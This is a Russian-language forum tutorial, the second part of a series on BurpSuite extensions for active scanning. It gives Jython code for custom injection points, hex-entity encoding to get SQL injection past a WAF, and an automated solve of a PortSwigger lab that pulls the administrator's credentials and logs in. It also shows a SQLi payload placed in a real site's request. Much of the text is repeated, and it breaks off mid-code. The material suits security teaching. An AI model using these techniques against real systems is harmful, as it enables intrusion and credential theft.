petrinh1988
Light Weight
- Депозит
- $0
Если не читали первую часть, рекомендую начать с нее. В ней описал базовую информацию по написанию собственных расширений для BurpSuite и показал реализацию сканера при пассивном режиме. Учитывая, что статья достаточно активно набирает лайки, самое время продолжить, а именно, поговорить про активное сканирование.
В этой статье разберу несколько вариантов того, как расширить стандартные сканеры BurpSuie, дополняя точки инъекции и создавая новые запросы. В конце статьи напишем полностью автоматическое решение одной из лабораторных работ PortSwigger.
Bash: Скопировать в буфер обмена
Как будет выглядеть запрос активного сканирования на основе этого запроса? Нужно просто добавить полезную нагрузку. Причем, точкой инъекции может стать любой из элементов запроса. Например, мы можем вместо Referer попытаться отправить SQLi. Каждый элемент пути может быть частью инъекции. Или, например, можно изменить тип запроса с GET на POST или, например, PUT. Добавить данные в тело запроса или параметры и т.д.
Bash: Скопировать в буфер обмена
Все это будет новыми запросами с нашей полезной нагрузкой. Большинство вариантов этих запросов и делает Burp своими стандартными сканерами. Именно этот процесс и называется активным сканированием. Мы же, используя возможности API, можем присоседиться к проводимому сканированию и добавить интересующие нас проверки, путем реализации функции doActiveScan() интерфейса IScannerCheck.
Соответственно, IScannerInsertionPoint представляет собой кастомный класс возвращающий информацию о точке инъекции на основе объекта запроса-ответа (подробнее про IHttpRequestResponse в первой части). IScannerInsertionPointProvider это посредник, который реализует функцию getInsertionPoints(). Основная задача этой функции определить, надо ли добавлять кастомные точки в каждом конкретном случае. При необходимости возвращает список новых точек инъекции. BurpSuite, в свою очередь, получая этот список, создает новые запросы.
Подобный подход бывает полезен если Burp не может обойти WAF. Либо, когда надо добавить точки инъекции, которые не видит или не знает Burp.
Для теста активируем лабораторную работу и открываем сайт в браузере BurpSuite. Заходим в любой товар и жмем «Check stocks». Запихиваем запрос в репитер и проверяем, что stockId подвержен SQL Injection.
Чтобы успешно выполнить запрос, достаточно перекодировать инъекцию в HEX. Вот как это выглядит на примере расширения Hackvertor
Для тренировки, сделаем свой вариант нахождения этой уязвимости. Сначала просто найдем и выведем параметр sockId. Код расширения будет выглядеть так:
Python: Скопировать в буфер обмена
В предыдущих примерах, я реализовывал все управляющие интерфейсы в рамках класса BurpExtender. Сейчас решил вынести IScannerInsertionPointProvider в отдельный класс для демонстрации. Таким образом код становится более читаемым.
Чтобы заработал провайдер точек инъекции, достаточно при регистрации коллбэков зарегистрировать наш провайдер callbacks.registerScannerInsertionPointProvider(). В предыдущих примерах регистраторам мы передавали self, т.к. реализовывали все одним классом. Сейчас передаем создание нового объекта.
При регистрации точек инъекций, запуститься выполнение функции getInsertionPoints(). Которая, попытается найти параметр с именем “storeid” в объекте запроса-ответа. Если параметра нет, мы просто прерываем выполнение функции, запрос нам не подходит.. В ином случае, выводим название параметра и его значение. Кстати, данный вывод, для информативности, можно дополнить функцией _printRequestData() из первой статьи.
Переходим на вкладку Proxy, находим POST-запрос остатков в магазине и создаем новое сканирование, правой по POST-запросу.
В результате, мы увидим, что среди параметров запроса есть нужный нам, а именно stockid. Правда без какой-либо полезной нагрузки.
При желании, можно также вывести и тип запроса при котором срабатывает наш фильтр. В данном случае всегда будет POST, что логично. Строка получения типа запроса:
Python: Скопировать в буфер обмена
Что же, самое время добавить нашу точку инъекции. И, так как мы заранее определили, что необходимо кодировать в hex entity, сразу выполним и эту часть. Открываем в редакторе расширение, которое выводило stockId. Первым делом, соответственно, добавляем импорты в начало файла:
Python: Скопировать в буфер обмена
Поправим функцию getInsertionPoints(). Нам нужна генерация новых точек инъекции, вместо вывода информации о параметре. Сделать это не сложно, достаточно в return прописать возврат списка точек инъекции. Каждая точка инъекции, это новый объект StockIDInsertionPoint, реализующий класс IScannerInsertionPoint (в следующем шаге этим объектом и займемся):
Python: Скопировать в буфер обмена
Читатели могут быть с разной подготовкой, поэтому уточню, что StockIDInsertionPoint это придуманное мной название для объектов уязвимостей. В данном случае, имя ни на что не влияет. Что касается параметров, которые передаю в конструктор класса — они тоже целиком и полностью зависят от меня. Но, конечно же, с учетом того, что может потребоваться в самом классе. В данном случае, передаются хелперы и коллбэки Burp, передается объект запроса-ответа и начальное значение точки инъекции.
Скелет класса StockIDInsertionPoint, который постепенно наполним:
Python: Скопировать в буфер обмена
Некоторые функции я привел сразу в конечном виде. Функция getInsertionPointName(), как понятно из названия, отдает название точки инъекции Burp.
Тип точки инъекции, у нас так же останется неизменным и будет указывать на создание её в расширении. К слову сказать, INS_EXTENSION_PROVIDED это константа, которая является статической для интерфейса IScannerInsertionPoint, таким образом к ней всегда есть доступ внутри класса. Более того, ваши классы точек инъекции всегда будут возвращать это значение.
Начнем с конструктора:
Python: Скопировать в буфер обмена
В конструкторе запоминаем все нужные нам значения и только _startPostition вычисляем. Это номер символа с которого будет начинаться наш кодированный в hex пэйлоад. Значение будет использоваться в функции getPayloadOffsets(). Дело в том, что для правильной генерации уязвимости, Burp нужно показать где именно находится пэйлоад. Функция getPayloadOffsets() возвращает целочисленный массив с первым и последним символом пэйлоада. Именно их Burp выделит в итоговом запросе. Разберем тело функции:
Python: Скопировать в буфер обмена
Первым делом, вызываем вспомогательную функцию этого же класса _toHexEntity(). Это НЕ часть реализации интерфейса IScannerInsertionPoint. Эту функцию придумал я, чтобы не загромождать код одними и теми же строчками.
Дело в том, что в пэйлоад попадает начальное значение, например “ or 3256=3256”, а запросе будет “ or 3256=3256” Как видно, длинны у них сильно отличаются. Да, здесь можно было не мудрствовать и просто len() умножить на 6, но мы ведь легких путей не ищем?
Дальше просто берем начальную позицию пэйлоада, которую вычислили в конструкторе, добавляем конечную и возвращаем в виде целочисленного массива. Burp, когда найдет уязвимость, вызовет getPayloadOffsets() и красиво все выделит.
Функцию _toHexEntity() я буду вызывать и при построении запроса, вот эта функция:
Python: Скопировать в буфер обмена
Так как payload приходит массивом байт, используя хелпер Burp, конвертируем его в строку. Тоже касается и запроса, который мы заблаговременно получили через конструктор.
Наша цель преобразовать пейлоад в hex entity. В отличии от классического hex, где цифра “1” представляется в виде “0x31”, должна выглядеть в формате “1”. Соответственно, в цикле преобразования, дополнительно к hex и orb произвожу замену “0x” на “&#x”. Все значения соединяю используя точку с запятой и добавляю её в конце, т.к. join() этого не сделает.
Самое интересное происходит в buildRequest(). Внутри функции, мы должны обработать payload и вернуть новый запрос. В BurpSuite запрос представляет собой массив байт [] byte.
Python: Скопировать в буфер обмена
Да-да, можно все сделать гораздо лучше, можно корректно работать с XML и т.п. Но здесь речь не о конечном решении, а демонстрация. Мне важнее показать, что по сути запрос это просто строка составленная по определенным правилам и представленная набором байт. А функция buildRequest() это составление строки, в рамках которой можно частично или полностью изменить запрос.Остальные функции, касающиеся запросов или параметров, нужны для упрощения процесса управления запросом, когда это возможно.
Вызвали все ту же _toHexEntity, дальше обычный replace. Остается только превратить строку обратно в массив байт, используя хелпер Burp stringToBytes(). На этом все.
Теперь BurpSuite, когда увидит в запросе storeid, добавит в активное сканирование новые запросы, в которых инъекция будет в hex-entity.
Заново добавляю расширение и запускаю сканирование, выбрав POST-запрос на вкладке Proxy.
Нам нужен кастомный профиль сканирования, поэтому идем в конфигуратор и создаем новый профиль. Главное, чтобы среди тестов были подключены тесты на SQL Injection (выбираем все содержащее SQL) и Extension Generated Issue. В ином случае, Burp не будет находить нашу уязвимость. Все настройки, которые использовал, можно посмотреть на скриншотах.
Ура, BurpSuite увидел SQL Injection. Наша точка инъекции отлично работает!
Как видно на скриншотах, все четко подставляется. В ответе видим, что вместо одной позиции, как и предполагает запрос, получили ответ сразу по всем магазинам. Значит наша инъекция работает.
Сканер автоматически создает инъекцию. Если бы инъекция была неопределяемой сканером, пришлось бы писать свой детектер.
Итоговый кода расширения:
Python: Скопировать в буфер обмена
Наверное, наиболее используемыми являются функция получения параметра и обновления. С первой мы уже познакомились, когда реализовывали пример выше. Самое время познакомиться со второй. Заодно разобрав пример с base64, о котором упоминал выше.
Данный пример не мой, но прекрасно подходит для разбора. Суть задачи простая: веб-приложение имеет XSS уязвимость в строке поиска. Данные строки и фильтров кодируются в base64 и в таком виде передаются в переменной "s". Распакованные данные поиска выглядят примерно так:“search=lalalala¶m3=blablabla”. Точка инъекции находится, в параметре search. Соответственно, при сканировании, надо декодировать строку base64, найти начало и конец значения search и подменить его на пэйлоад Burp. Думаю, что достаточно понятно объяснил. На всякий случай, ссылка с данными выглядит примерно так:
http://site.com/?s=c2VhcmNoPWxhbGFsYWxhJnBhcmFtMz1ibGFibGFibGE=
Берем скелет из предыдущего расширения и приводим его в нужный вариант. Для начала меняем функцию getInsertionPoints(), которая решает надо ли делать инъекцию. В данном случае, проверяем наличие параметра “s”, если есть создаем точки инъекции:
Python: Скопировать в буфер обмена
Учитывая, что у нас данные заходят, как base64, их нужно декодировать. Кроме того, желательно сразу разобрать входную строку на три части: базовое значение (оно же baseValue, в примерах, оно же стандартное значение), то что идет до значения и то что идет после значения. Зачем? Тогда при формировании точки инъекции, мы возьмем до и после, добавив между ними пэйлоад. А само базовое значение потребуется для возврата в методе getBaseValue(), который подразумевает интерфейс нашей точки инъекции (IScannerInsertionPoint). Надеюсь не запутал)
Python: Скопировать в буфер обмена
Вряд ли код требует серьезных пояснений, поэтому сразу перехожу к реализации класса точки инъекции:
Python: Скопировать в буфер обмена
В buildRequest мы просто собираем вместе три строки и кодируем их в base64. Сам новый запрос создается путем вызова функции хелпера updateParameter(), которая принимает запрос подлежащий изменению (byte []) и обновленный параметр. Параметр создается при помощи специальной функции buildParameter(). Не забудь добавить импорт интерфейса IParameter, чтобы использовать константу PARAM_BODY, указывающую на тип параметра. Кстати, вот доступные типы:
Если посмотреть на получившийся код расширения, становится понятно, что скорее всего мы имели дело с POST-запросами, так как параметр относится к телу запроса.
Внутри функции делаем что хотим, главное на выходе вернуть список уязвимостей или ничего. В целом, делать “что хочу” можно и в doPassiveScan(), но новые запросы сильно нарушают логику. Здесь же предоставляется момент дополнить посланный BurpSuite запрос дополнительной проверкой на основе точке инъекции. Если помните, при реализации точки инъекции, реализовывался метод buildRequest(). При помощи этого метода, в doActiveScan() можно создать новый запрос модифицировав параметры.
Одну и ту же задачу, можно решать разными способами. Поэтому, для примера заново решим задачу с SQL-инъекцией, только в этот раз не будем создавать новую точку инъекции, а используем возможности doActiveScan(). Как и раньше, создаем скелет приложения, который реализует интерфейсы IBurpExtender и IScannerCheck.
Скелет расширения:
Python: Скопировать в буфер обмена
Учитывая, что определение уязвимости будет производится не стандартным сканером BurpSuite, а нашим кодом, реализуем свой класс уязвимости.
Функцию перевода в hex-entity, без стеснения, спер из прошлого решения.
Переменная “used” нужна для того, чтобы функция отработала один раз. Переменная “TEST_QUERY”, соответственно, хранит тестовый запрос.
Наше расширение будет проверять тип запроса (нас интересует POST) и имя точки инъекции. Если оно будет соответствовать stockId, мы создадим новый запрос в который поместим нашу полезную нагрузку закодированную в hex-entity. Запрос создается при помощи метода buildRequest(). Когда мы создавали свой класс точки инъекции, мы реализовывали методв buildRequest(). В данном случае, будем использовать стандартный метод, реализованный внутри Burp Extender.
Когда запрос с полезной нагрузкой подготовлен, нужно сообщить сканеру Burp, чтобы он выполнил запрос. Это делается при помощи метода makeHttpRequest() доступного через коллбэки. Результатом работы будет IHttpRequestResponse, на основе которой мы должны решить есть ли уязвимость. Если есть, соответственно, возвращаем объект уязвимости.
Чтобы обнаружить уязвимость, в тексте ответа будем искать ‘PIPISKA’ (да… я все еще взрослый человек). Почему его? Потому что оно прописано в тестовом запросе. По хорошему, мы должны были тестами узнать, что можно возвращать текст, но условия задачи мы знаем заранее.
Python: Скопировать в буфер обмена
Тестовый запуск показал, что все идет почти так, как надо. Но не совсем. Синим выделен запрос, красным ответ.
Фишка в том, что при работе buildRequest(), BurpSuite пытается создать корректный запрос и меняет амперсанд на &. Повлиять на его поведение мы не можем. Поэтому будем костылить. Сначала в запрос, вместо полезной нагрузки, воткнем ‘PIPISKA’. После переведем получившийся байт-массив в строку, сделаем замену и вернем обратно в байты.
Python: Скопировать в буфер обмена
Запускаю заново и получаю ожидаемый результат. Наш чекер находит уязвимость и добавляет ее:
Выглядит красиво, но если хотите, можно добавить маркировку запроса и ответа. Потребуется всего ничего. Точка инъекции insertinPoint позволяет нам получить координаты маркеров просто вызывав функцию getPayloadOffsets(), передав ей наш пэйлоад. Для разметки ответа, нам нужно найти свою PIPISKA. Координата вхождения это начало разметки, прибавим к ней длину нашей PIPISKA и получим конечную точку.
Python: Скопировать в буфер обмена
Все круто, но предлагаю попрактиковаться, а именно - решить лабораторную в полностью автоматическом режиме. Заодно создав несколько разных типов ошибок.
Для этого достаточно добавить небольшой кусок кода. Его логика работы простая. Когда мы убедились, что получаем “PIPISKA”, сформировать новый запрос, который будет вытаскивать логин и пароль из таблицы “users”. Дальше нужен GET-запрос страницы логина и последующий парсинг значения CSRF. Завершает эпопею POST-запрос с данными для авторизации.
Тут главное не забыть, что мы возвращаем список ошибок. При этом, в списке могут быть разношерстные ошибки. Поэтому, создам еще один класс с ошибкой, а вместо возврата списка из одной ошибки, буду добавлять ошибки в список issues=[], а в конце верну весь список или ничего.
Еще один интересный момент в том, что нам нужно выполнить POST и GET, при этом сохраняя сессию. В этом нам поможет еще одна замечательная функция toggleRequestMethod(byte[] request). Как понятно из названия, она переключает тип запроса. Работает исключительно с GET и POST.
Итак. Найдя PIPISKA, подготовим новый запрос. Полностью по аналогии с первым. В целом, для удобства, вынесу формирование запроса в отдельную функцию:
Python: Скопировать в буфер обмена
Потребуется запрос, которым получим данные по пользователям из базы. Из описания лабораторной понятно, что есть таблица users, а в ней лежат username и password. В том числе, пользователя administrator. Запрос кладу в переменную ATTACK_QUERY. Изменения в коде выглядят следующим образом:
Python: Скопировать в буфер обмена
В крайней строчке добавляю обнаруженные данные как отдельную ошибку. Пора бы добавить сам класс ошибки. В конце файла пишем код, который будет выглядеть следующим образом:
Python: Скопировать в буфер обмена
Все как и раньше, только через конструктор запоминаем login и password, которые возвращаем в деталях ошибки. Добавлю только, что подобный подход (две разных ошибки на один скан) нужно хорошо продумать, чтобы корректно прописать обнаружение дублей в consolidateDuplicateIssues()
Данные для входа получаю при помощи регулярного выражения. Так как знаю, что логин будет “administrator”, сразу прописываю его начало в регулярку. Отлично! Логин и пароль мы получили, пора переходить к входу в систему от имени администратора. Но! Все не так просто, для логина надо получить CSRF со страницы входа. Поэтому, сделаю GET-запрос к “/login”
Python: Скопировать в буфер обмена
В этот раз я использовал хелпер buildHttpRequest(), который принимает объект java.net.URL. Нужно сделать импорт from java.net import URL. Далее вызову конструктор URL, передав ему протокол, хост, порт и путь
Выполнив запрос, регуляркой получаю CSRF. В целом, все готово для выполнения запроса на вход. Но нужно учесть, что сайт учитывает не только CSRF, но и сессию в Cookie. Именно эта пара должна быть вместе с логином и паролем.
Для демонстрации работы функции toggleRequestMethod(), сформирую следующий запрос из предыдущего GET-запроса. Учитывая все вышесказанное, придется немного поработать с заголовками. Для подмены заголовка сделаю функцию _updateHeaders(), она будет искать заголовки начинающиеся с пользовательского значения и подменять его на указанное. Вторая функция будет получать куки из существующего запроса, подменяя ‘Set-Cookie’ на ‘Cookie’
Python: Скопировать в буфер обмена
Практически все функции мы уже рассматривали, поэтому особо останавливаться не буду. Только хелпер buildHttpMessage() является новой. При помощи нее мы создаем новый запрос, как при buildRequest(), но на основе заголовков и тела запроса. Заголовки принимаются списком строк, тело, как и раньше, это набор байт.
Перейду к функции _updateHeaders()
Python: Скопировать в буфер обмена
getHeaders() отдает нам список строк в юникоде. Чтобы использовать стандартные функции доступные string, привожу каждое значение через str().
Python: Скопировать в буфер обмена
Обе функции, практически, братья близнецы. Просто вторая заточена под более конкретную задачу.
Казалось бы все, но нет. PortSwigger среагирует только тогда, когда мы под администратором постим страницу. Что же, заодно еще раз попрактикуемся в генерации запросов.
Python: Скопировать в буфер обмена
Удаляю и заново устанавливаю расширение, после чего запускаю активное сканирование. Ура, вот она вожделенная оранжевая плашка с “Congratulations, you solved the lab!”.
Спойлер: Полный код расширения SQLi in StockId
Python: Скопировать в буфер обмена
В первой и второй статьях, рассмотрели принцип работы и отличия между doActiveScan() и doPassiveScan(). Узнали, как добавлять свои точки инъекции и изучили несколько примеров практического использования. Поработали со стандартной парой IHttpRequestResponse. Разными способами создавали и модифицировали запросы и его части. Я к тому, что обладая этими навыками уже можно делать много чего полезного. Шутка ли, мы реализовали даже многошаговую атаку. Да, плоскую, но все же.
Но это далеко не все, что можно делать при помощи API Burp Extender. Например, doActiveScan() и doPassiveScan() есть не только в виде слушателя IScannerCheck, но и как методы инициации соответствующих сканов. Не коснулись интерфейса пользователя, как самого расширения, так и встраивания в интерфейс BurpSuite,
Учитывая интерес к теме, как со стороны пользователей, так и администрации XSS, думаю пройдемся по всем закоулкам API Burp. На самом деле, расширениями Burp можно творить невероятные вещи. Чем, собственно, и займемся в следующих статьях.
Надеюсь вам понравилось
В этой статье разберу несколько вариантов того, как расширить стандартные сканеры BurpSuie, дополняя точки инъекции и создавая новые запросы. В конце статьи напишем полностью автоматическое решение одной из лабораторных работ PortSwigger.
Отличия активного сканирования
Активное сканирование отличается от пассивного тем, что к базовым запросам добавляются собственные, модифицированные. Сканер выходит за рамки тех запросов, которые предусмотрены разработчиками веб-сайтов и приложений, добавляя к ним полезные нагрузки или новые точки входа. Для примера возьму базовый запрос из пассивного сканирования:Bash: Скопировать в буфер обмена
Code:
GET /_next/static/chunks/114f8b7fb5913e9fb90f8a1ba0e03f7d3c16ebd3.431a757bb7bff2113708.js HTTP/2
Host: www.liverpoolfc.com
Sec-Ch-Ua: "Not/A)Brand";v="8", "Chromium";v="126"
Accept-Language: ru-RU
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.6478.127 Safari/537.36
Sec-Ch-Ua-Platform: "Windows"
Accept: */*
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: no-cors
Sec-Fetch-Dest: script
Referer: https://www.liverpoolfc.com/
Accept-Encoding: gzip, deflate, br
Как будет выглядеть запрос активного сканирования на основе этого запроса? Нужно просто добавить полезную нагрузку. Причем, точкой инъекции может стать любой из элементов запроса. Например, мы можем вместо Referer попытаться отправить SQLi. Каждый элемент пути может быть частью инъекции. Или, например, можно изменить тип запроса с GET на POST или, например, PUT. Добавить данные в тело запроса или параметры и т.д.
Bash: Скопировать в буфер обмена
Code:
GET /_next/static/chunks/114f8b7fb5913e9fb90f8a1ba0e03f7d3c16ebd3.431a757bb7bff2113708.js HTTP/2
Host: www.liverpoolfc.com
Sec-Ch-Ua: "Not/A)Brand";v="8", "Chromium";v="126"
Accept-Language: ru-RU
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.6478.127 Safari/537.36
Sec-Ch-Ua-Platform: "Windows"
Accept: */*
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: no-cors
Sec-Fetch-Dest: script
[B]Referer: ' or '1'='1[/B]
Accept-Encoding: gzip, deflate, br
Все это будет новыми запросами с нашей полезной нагрузкой. Большинство вариантов этих запросов и делает Burp своими стандартными сканерами. Именно этот процесс и называется активным сканированием. Мы же, используя возможности API, можем присоседиться к проводимому сканированию и добавить интересующие нас проверки, путем реализации функции doActiveScan() интерфейса IScannerCheck.
Обогащаем сканирование точками инъекции
Перед тем, как перейти к добавлению своих запросов через doActiveScan(), стоит сделать небольшую оговорку. Есть и другие варианты добавить запросы, например, добавив точки инъекции к уже существующим запросам, путем реализации интерфейсов IScannerInsertionPointProvider и IScannerInsertionPoint.Соответственно, IScannerInsertionPoint представляет собой кастомный класс возвращающий информацию о точке инъекции на основе объекта запроса-ответа (подробнее про IHttpRequestResponse в первой части). IScannerInsertionPointProvider это посредник, который реализует функцию getInsertionPoints(). Основная задача этой функции определить, надо ли добавлять кастомные точки в каждом конкретном случае. При необходимости возвращает список новых точек инъекции. BurpSuite, в свою очередь, получая этот список, создает новые запросы.
Подобный подход бывает полезен если Burp не может обойти WAF. Либо, когда надо добавить точки инъекции, которые не видит или не знает Burp.
Как это работает на практике?
Для примера, возьмем лабораторную работу на PortSwigger «Lab: SQL injection with filter bypass via XML encoding». В лабораторной, запрос остатков в магазинах имеет уязвимый параметр stockId в XML. Но WAF внимательно блюдит атаки.Для теста активируем лабораторную работу и открываем сайт в браузере BurpSuite. Заходим в любой товар и жмем «Check stocks». Запихиваем запрос в репитер и проверяем, что stockId подвержен SQL Injection.
Чтобы успешно выполнить запрос, достаточно перекодировать инъекцию в HEX. Вот как это выглядит на примере расширения Hackvertor
Для тренировки, сделаем свой вариант нахождения этой уязвимости. Сначала просто найдем и выведем параметр sockId. Код расширения будет выглядеть так:
Python: Скопировать в буфер обмена
Code:
from burp import IBurpExtender
from burp import IScannerInsertionPointProvider
class BurpExtender(IBurpExtender, IScannerInsertionPointProvider):
def registerExtenderCallbacks(self, callbacks):
callbacks.setExtensionName('Insertion Point StockId')
callbacks.registerScannerInsertionPointProvider(StockIdInsertionPointProvider(callbacks))
print('Extension loaded. Callbacks registered')
return
class StockIdInsertionPointProvider(IScannerInsertionPointProvider):
def __init__(self, callbacks):
self._callbacks = callbacks
self._helpers = callbacks.getHelpers()
return
def getInsertionPoints(self, baseRequestResponse):
stockParameter = self._helpers.getRequestParameter(baseRequestResponse.getRequest(), "storeid")
if (stockParameter is None):
return None
print(stockParameter.getName() + ' ' + stockParameter.getValue())
return None
В предыдущих примерах, я реализовывал все управляющие интерфейсы в рамках класса BurpExtender. Сейчас решил вынести IScannerInsertionPointProvider в отдельный класс для демонстрации. Таким образом код становится более читаемым.
Чтобы заработал провайдер точек инъекции, достаточно при регистрации коллбэков зарегистрировать наш провайдер callbacks.registerScannerInsertionPointProvider(). В предыдущих примерах регистраторам мы передавали self, т.к. реализовывали все одним классом. Сейчас передаем создание нового объекта.
При регистрации точек инъекций, запуститься выполнение функции getInsertionPoints(). Которая, попытается найти параметр с именем “storeid” в объекте запроса-ответа. Если параметра нет, мы просто прерываем выполнение функции, запрос нам не подходит.. В ином случае, выводим название параметра и его значение. Кстати, данный вывод, для информативности, можно дополнить функцией _printRequestData() из первой статьи.
Переходим на вкладку Proxy, находим POST-запрос остатков в магазине и создаем новое сканирование, правой по POST-запросу.
В результате, мы увидим, что среди параметров запроса есть нужный нам, а именно stockid. Правда без какой-либо полезной нагрузки.
При желании, можно также вывести и тип запроса при котором срабатывает наш фильтр. В данном случае всегда будет POST, что логично. Строка получения типа запроса:
Python: Скопировать в буфер обмена
method = self._helpers.analyzeRequest(request).getMethod()
Что же, самое время добавить нашу точку инъекции. И, так как мы заранее определили, что необходимо кодировать в hex entity, сразу выполним и эту часть. Открываем в редакторе расширение, которое выводило stockId. Первым делом, соответственно, добавляем импорты в начало файла:
Python: Скопировать в буфер обмена
Code:
from burp import IScannerInsertionPoint
from array import array
Поправим функцию getInsertionPoints(). Нам нужна генерация новых точек инъекции, вместо вывода информации о параметре. Сделать это не сложно, достаточно в return прописать возврат списка точек инъекции. Каждая точка инъекции, это новый объект StockIDInsertionPoint, реализующий класс IScannerInsertionPoint (в следующем шаге этим объектом и займемся):
Python: Скопировать в буфер обмена
return [ StockIDInsertionPoint(self._helpers, self._callbacks, baseRequestResponse, stockParameter.getValue()) ]
Читатели могут быть с разной подготовкой, поэтому уточню, что StockIDInsertionPoint это придуманное мной название для объектов уязвимостей. В данном случае, имя ни на что не влияет. Что касается параметров, которые передаю в конструктор класса — они тоже целиком и полностью зависят от меня. Но, конечно же, с учетом того, что может потребоваться в самом классе. В данном случае, передаются хелперы и коллбэки Burp, передается объект запроса-ответа и начальное значение точки инъекции.
Скелет класса StockIDInsertionPoint, который постепенно наполним:
Python: Скопировать в буфер обмена
Code:
class StockIDInsertionPoint(IScannerInsertionPoint):
def __init__(self, helpers, baseRequest, baseValue):
return
def getInsertionPointName(self):
return "StockId Hex-entity"
def getBaseValue(self):
return self._baseValue
def buildRequest(self, payload):
pass
def getPayloadOffsets(self, payload):
pass
def getInsertionPointType(self):
return INS_EXTENSION_PROVIDED
def _toHexEntity(self, payload):
pass
Некоторые функции я привел сразу в конечном виде. Функция getInsertionPointName(), как понятно из названия, отдает название точки инъекции Burp.
Тип точки инъекции, у нас так же останется неизменным и будет указывать на создание её в расширении. К слову сказать, INS_EXTENSION_PROVIDED это константа, которая является статической для интерфейса IScannerInsertionPoint, таким образом к ней всегда есть доступ внутри класса. Более того, ваши классы точек инъекции всегда будут возвращать это значение.
Начнем с конструктора:
Python: Скопировать в буфер обмена
Code:
def __init__(self, helpers, callbacks, baseRequestResponse, baseValue):
self._helpers = helpers
self._callbacks = callbacks
self._httpService = baseRequestResponse.getHttpService()
self._baseRequest = baseRequestResponse.getRequest()
self._baseValue = self._helpers.urlDecode(baseValue)
bytesStoreID = self._helpers.stringToBytes('<storeId>')
self._startPosition = self._helpers.indexOf(self._baseRequest, bytesStoreID, False, 0, len(self._baseRequest)) + 9
В конструкторе запоминаем все нужные нам значения и только _startPostition вычисляем. Это номер символа с которого будет начинаться наш кодированный в hex пэйлоад. Значение будет использоваться в функции getPayloadOffsets(). Дело в том, что для правильной генерации уязвимости, Burp нужно показать где именно находится пэйлоад. Функция getPayloadOffsets() возвращает целочисленный массив с первым и последним символом пэйлоада. Именно их Burp выделит в итоговом запросе. Разберем тело функции:
Python: Скопировать в буфер обмена
Code:
def getPayloadOffsets(self, payload):
hex_payload = self._toHexEntity(payload)
start = self._startPosition
end = start + len(hex_payload)
return array('i', [start, end])
Первым делом, вызываем вспомогательную функцию этого же класса _toHexEntity(). Это НЕ часть реализации интерфейса IScannerInsertionPoint. Эту функцию придумал я, чтобы не загромождать код одними и теми же строчками.
Дело в том, что в пэйлоад попадает начальное значение, например “ or 3256=3256”, а запросе будет “ or 3256=3256” Как видно, длинны у них сильно отличаются. Да, здесь можно было не мудрствовать и просто len() умножить на 6, но мы ведь легких путей не ищем?
Дальше просто берем начальную позицию пэйлоада, которую вычислили в конструкторе, добавляем конечную и возвращаем в виде целочисленного массива. Burp, когда найдет уязвимость, вызовет getPayloadOffsets() и красиво все выделит.
Функцию _toHexEntity() я буду вызывать и при построении запроса, вот эта функция:
Python: Скопировать в буфер обмена
Code:
def _toHexEntity(self, payload):
str_payload = self._helpers.bytesToString(payload)
hex_payload = ';'.join([hex(ord(char)).replace('0x', '&#x') for char in str_payload]) + ';'
return hex_payload
Так как payload приходит массивом байт, используя хелпер Burp, конвертируем его в строку. Тоже касается и запроса, который мы заблаговременно получили через конструктор.
Наша цель преобразовать пейлоад в hex entity. В отличии от классического hex, где цифра “1” представляется в виде “0x31”, должна выглядеть в формате “1”. Соответственно, в цикле преобразования, дополнительно к hex и orb произвожу замену “0x” на “&#x”. Все значения соединяю используя точку с запятой и добавляю её в конце, т.к. join() этого не сделает.
Самое интересное происходит в buildRequest(). Внутри функции, мы должны обработать payload и вернуть новый запрос. В BurpSuite запрос представляет собой массив байт [] byte.
Python: Скопировать в буфер обмена
Code:
def buildRequest(self, payload):
hex_payload = self._toHexEntity(payload)
str_request = self._helpers.bytesToString(self._baseRequest)
new_request = str_request.replace("<storeId>" + self._baseValue + "</storeId>", "<storeId>" + hex_payload + "</storeId>")
return self._helpers.stringToBytes(new_request)
Да-да, можно все сделать гораздо лучше, можно корректно работать с XML и т.п. Но здесь речь не о конечном решении, а демонстрация. Мне важнее показать, что по сути запрос это просто строка составленная по определенным правилам и представленная набором байт. А функция buildRequest() это составление строки, в рамках которой можно частично или полностью изменить запрос.Остальные функции, касающиеся запросов или параметров, нужны для упрощения процесса управления запросом, когда это возможно.
Вызвали все ту же _toHexEntity, дальше обычный replace. Остается только превратить строку обратно в массив байт, используя хелпер Burp stringToBytes(). На этом все.
Теперь BurpSuite, когда увидит в запросе storeid, добавит в активное сканирование новые запросы, в которых инъекция будет в hex-entity.
Заново добавляю расширение и запускаю сканирование, выбрав POST-запрос на вкладке Proxy.
Нам нужен кастомный профиль сканирования, поэтому идем в конфигуратор и создаем новый профиль. Главное, чтобы среди тестов были подключены тесты на SQL Injection (выбираем все содержащее SQL) и Extension Generated Issue. В ином случае, Burp не будет находить нашу уязвимость. Все настройки, которые использовал, можно посмотреть на скриншотах.
Внимание! Обязательно сканер должен реагировать на Extension Generated Issue. Если забудете про это, пеняйте на себя! Можно часами или днями искать ошибку в коде. Я так попадался. Запомните: точка инъекции возвращает тип INS_EXTENSION_PROVIDED, сканер должен быть включин на анализ Extension Generated Issue. Берегите нервы.
Нажмите, чтобы раскрыть...
Ура, BurpSuite увидел SQL Injection. Наша точка инъекции отлично работает!
Как видно на скриншотах, все четко подставляется. В ответе видим, что вместо одной позиции, как и предполагает запрос, получили ответ сразу по всем магазинам. Значит наша инъекция работает.
Сканер автоматически создает инъекцию. Если бы инъекция была неопределяемой сканером, пришлось бы писать свой детектер.
Итоговый кода расширения:
Python: Скопировать в буфер обмена
Code:
from burp import IBurpExtender
from burp import IScannerInsertionPoint
from burp import IScannerInsertionPointProvider
from array import array
class BurpExtender(IBurpExtender, IScannerInsertionPointProvider):
def registerExtenderCallbacks(self, callbacks):
callbacks.setExtensionName('Insertion Point StockId')
callbacks.registerScannerInsertionPointProvider(StockIdInsertionPointProvider(callbacks))
print('Extension loaded. Callbacks registered')
return
class StockIdInsertionPointProvider(IScannerInsertionPointProvider):
def __init__(self, callbacks):
self._callbacks = callbacks
self._helpers = callbacks.getHelpers()
return
def getInsertionPoints(self, baseRequestResponse):
stockParameter = self._detectStoreIdParam(baseRequestResponse)
if (stockParameter is None):
return None
return [ StockIDInsertionPoint(self._helpers, self._callbacks, baseRequestResponse, stockParameter.getValue()) ]
def _detectStoreIdParam(self, baseRequestResponse):
